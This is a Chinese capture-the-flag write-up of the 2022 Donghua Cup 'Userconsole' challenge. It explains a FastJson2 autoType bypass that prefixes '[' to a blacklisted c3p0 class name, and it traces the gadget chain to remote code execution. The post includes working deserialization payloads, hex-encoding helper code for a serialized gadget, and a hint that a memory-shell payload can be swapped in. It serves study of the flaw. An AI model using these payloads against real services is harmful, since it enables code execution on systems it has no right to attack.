April 2, 2023

2022东华杯 Userconsole

考点:FastJson2反序列化,c3p0反序列化

FastJson2 Bypass

惯例先审代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.app.controller;

import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONReader;
import com.alibaba.fastjson2.JSONReader.Feature;
import com.app.bean.User;
import java.io.FileOutputStream;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class TestController {
public static String[] blacklist = new String[]{"ldap", "rmi", "dns", "iiop"};

public TestController() {
}

@RequestMapping({"/"})
public String index() {
return "redirect:/login";
}

@RequestMapping({"/login"})
public String login(@RequestParam(value = "username",required = false,defaultValue = "") String username, @RequestParam(value = "password",required = false,defaultValue = "") String password) {
if (username.length() != 0 && password.length() != 0) {
User user = new User();
if (username.equals(user.getUsername()) && password.equals(user.getPassword())) {
return "user-profile";
}
}

return "login";
}

@RequestMapping({"/userprofile"})
public String userprofile(@CookieValue(value = "userinfo",defaultValue = "",required = false) String userinfo, Model model) {
if (userinfo.isEmpty()) {
return "login";
} else {
try {
String decstr = new String(Base64.getDecoder().decode(userinfo));
String[] var4 = blacklist;
int var5 = var4.length;

for(int var6 = 0; var6 < var5; ++var6) {
String black = var4[var6];
if (decstr.contains(black)) {
model.addAttribute("msg", "check " + black);
return "error";
}
}

User obj = (User)JSON.parse(decstr, new JSONReader.Feature[]{Feature.SupportAutoType});
User user = new User();
if (obj.username.equals(user.getUsername()) && obj.password.equals(user.getPassword())) {
return "user-profile";
} else {
model.addAttribute("msg", "username or password error");
return "error";
}
} catch (Exception var8) {
model.addAttribute("msg", "cookie is error");
return "error";
}
}
}

@RequestMapping({"/logoapi"})
public String logoapi(@RequestParam(value = "logostr",defaultValue = "",required = false) String logostr, Model model) {
if (logostr.isEmpty()) {
model.addAttribute("msg", "plz give me data");
return "error";
} else {
try {
byte[] decode = Base64.getDecoder().decode(logostr);
FileOutputStream fileOutputStream = new FileOutputStream("/tmp/logo.jpg");
fileOutputStream.write(decode);
fileOutputStream.close();
model.addAttribute("msg", "logo set success");
return "error";
} catch (Exception var5) {
model.addAttribute("msg", "data is wrong");
return "error";
}
}
}
}

image.png
在这里其实是用到了FastJson的parse方法,那么方向思考往fastjson反序列化靠,先看看该题目的fastjson版本
image.png
不看不知道,一看是fastjson2,以往我们的fastjson链子都是1.x的,然后我们也知道在1.4.x版本后加了一个checkAutotype用来判断是否可以被反序列化,那么这里就需要绕过了
还有一个很有意思的点就是我们看到了依赖中是有c3p0的
image.png
那么很明显就是用C3P0去打FastJson,先不急,我们用以往的payload调试一遍看看:

1
String poc = "{\n\t\"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n\t\"userOverridesAsString\": \"HexAsciiSerializedMap:" + hexString + ";\"\n}";

我们来跟一遍流程,断点就给在parse方法
image.png
先进入parse里的readObject进行反序列化
image.png
然后调用了autoTypeObjectReader = context.getObjectReaderAutoType(typeName, (Class)null);判断typeName
image.png
image.png
调用了checkAutoType
image.png
在里面对我们传入的typeName疯狂进行异或然后和hash黑名单里的值进行比较
image.png
这里的denyhash黑名单就比较铸币了,设计者为了防止别人研究黑名单,所以换成了hashcode,但我想的是java里的类也没那么多,按照你的算法碰撞一遍不全都出来了,然后我github一搜还真是
https://github.com/LeadroyaL/fastjson-blacklist
image.png
然后发现C3P0的com.mechange被ban了,因此就得思考如何进行绕过,前几个版本有用到tips,就是加上[进行绕过,那么这里究竟可不可以呢?首先加上是可以绕过这里的checkAutoType的,但是之前版本对此的修复方式为抛出异常,我们看看loadClass的逻辑
image.png
image.png
我们的类名传进来为[com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,先判断classname的长度是不是大于192,如果是返回null,这里肯定不是,然后判断开头是否为[,如果是就用substring去除,这里我觉得好傻逼啊
image.png
你在1.2.46的补丁里抛出异常了你为啥在fastjson2忘记了呢。。。。。

编写POC

因此这一题的payload很简单有2种:

1
2
3
4
String payload="{\"@type\":\"[com.mchange.v2.c3p0.WrapperConnectionPoolData
Source\",[\"userOverridesAsString\":\"HexAsciiSerializedMap:"+Hex+"\"}";
String payload="{\"@type\":\"[com.mchange.v2.c3p0.WrapperConnectionPoolData
Source\",[\"userOverridesAsString\":\"HexAsciiSerializedMap:"+Hex+"\"]}";

里面的Hex就是你Poc.ser的十六进制编码

1
2
3
4
5
6
7
8
9
10
11
 public static void unserialize(String exp) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(exp);
String Hex = bytesToHexString(decode,decode.length)+"a";
System.out.println(Hex);
}
public static void main(String[] args) throws Exception{
byte[] b = Files.readAllBytes(Paths.get("E:\\CTFLearning\\Java\\C3P0\\C3P0\\target\\classes\\poc.ser"));
String s = Base64.getEncoder().encodeToString(b);
unserialize(s);
}

然后这里有一个注意事项,就是你的HEX POC必须是偶数,否则会抛出一个异常
image.png
因此在你的poc结尾加上一个字符,这里加了个a,然后即可RCE
image.png
假如需要注内存马,直接把内存马的poc换上即可

POC流程分析

惯例审POC,对FastJson熟悉一点的同学可能就知道,在调用parse的过程中是会调用任意类的setter方法的,因此这里结合c3p0可以达到反序列化
这里的触发点在this.vcs.fireVetoableChange
image.png
调用了firevetoablechange方法,跟进一下
image.png
继续跟进
image.png
继续跟进
image.png
到这里经过evt.getNewValue方法获取了我们的十六进制字符串,然后调用了parseUserOverridesAsString
image.png
在这里将十六进制字符串解码后,再变为bytes字节数组,跟进fromByteArray
image.png
开始反序列化,调用 deserializeFromByteArray(var0)
image.png
弹计算机了
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#Java#FastJson